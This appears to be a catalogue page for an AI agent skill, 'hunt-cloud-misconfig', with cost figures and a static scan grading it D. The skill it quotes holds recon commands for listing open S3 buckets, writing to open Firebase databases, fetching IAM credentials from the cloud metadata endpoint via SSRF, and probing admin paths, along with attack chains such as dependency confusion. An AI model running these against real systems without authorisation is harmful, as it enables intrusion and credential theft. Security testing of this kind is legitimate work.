Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add adriannoes/awesome-agentic-ai --skill hunt-cloud-misconfiggit clone --depth 1 https://github.com/adriannoes/awesome-agentic-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-cloud-misconfig)<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-cloud-misconfig"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-cloud-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/adriannoes/awesome-agentic-ai/hunt-cloud-misconfig"><img src="https://agentmods.dev/badge/skills/adriannoes/awesome-agentic-ai/hunt-cloud-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00201 | $0.01025 |
| Opus 5 | $0.00101 | $0.00513 |
| Sonnet 5 | $0.00040 | $0.00205 |
| Haiku 4.5 | $0.00020 | $0.00103 |
Grade D, and why
hunt-cloud-misconfig scanned grade D with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10" How it starts
The opening of the file, as written. The whole thing — 66 lines — stays where its author put it; the contents beside it link to each section on GitHub.
16. CLOUD / INFRA MISCONFIGS
S3 / GCS / Azure Blob
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
EC2 Metadata (via SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
Exposed Admin Panels
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
Local-verification toolchain
For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.
Related Skills & Chains
hunt-subdomain— Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) +hunt-subdomain→ unclaimed CNAME points to bucket →assets.target.comtakeover.cloud-iam-deep— A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in.env→cloud-iam-deepenumeration → cross-serviceiam:PassRoleescalation.hunt-ssrf— Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.supply-chain-attack-recon— Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.security-arsenal— Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.triage-validation— Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 66 lines · 201 tokens per session scan D 0c75884e153d
hunt-cloud-misconfig is a skill published in the GitHub repository adriannoes/awesome-agentic-ai (57 stars, last pushed 14d ago), licensed MIT. It adds 201 tokens to every session and 1,025 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it D with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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starting-a-new-project
Use when the workspace is empty — no code yet — and the user brings a raw idea: the brand-new branch of setting-up-a-project, normally reached via that dispatcher, directly only when the situation is unmistakable. Not for features in an existing project — use brainstorming instead.
todos
This chat has a shared, live TODO plan — your tasks for the conversation, which the user also edits. Read this skill and reach for the todo tools whenever a request takes more than a couple of steps. It covers the plan model (group = task, items = its steps; loose items are the user's lane), how to work it: propose…
writing-workflow-skills
Use when adding a new workflow skill to pi-thinkrail-workflow, changing an existing workflow skill's role, trigger, handoff, or structure, or checking a workflow skill against the workflow system's rules. Not for authoring general-purpose skills outside this package.
brainstorming
Use this BEFORE any creative or feature work: building a new feature, adding functionality, changing behavior, or making a nontrivial design decision. Turns the user's request into a validated design — recorded as a spec-graph task-spec — before any implementation. Do not skip this because a change looks small.
reviewing-changes
Use when a review package asks you to review a plan step's change set (todo.startReview): you are the REVIEWER, not the author. How to judge an agent-written diff, file findings with addreviewcomment, and settle with exactly one reviewverdict.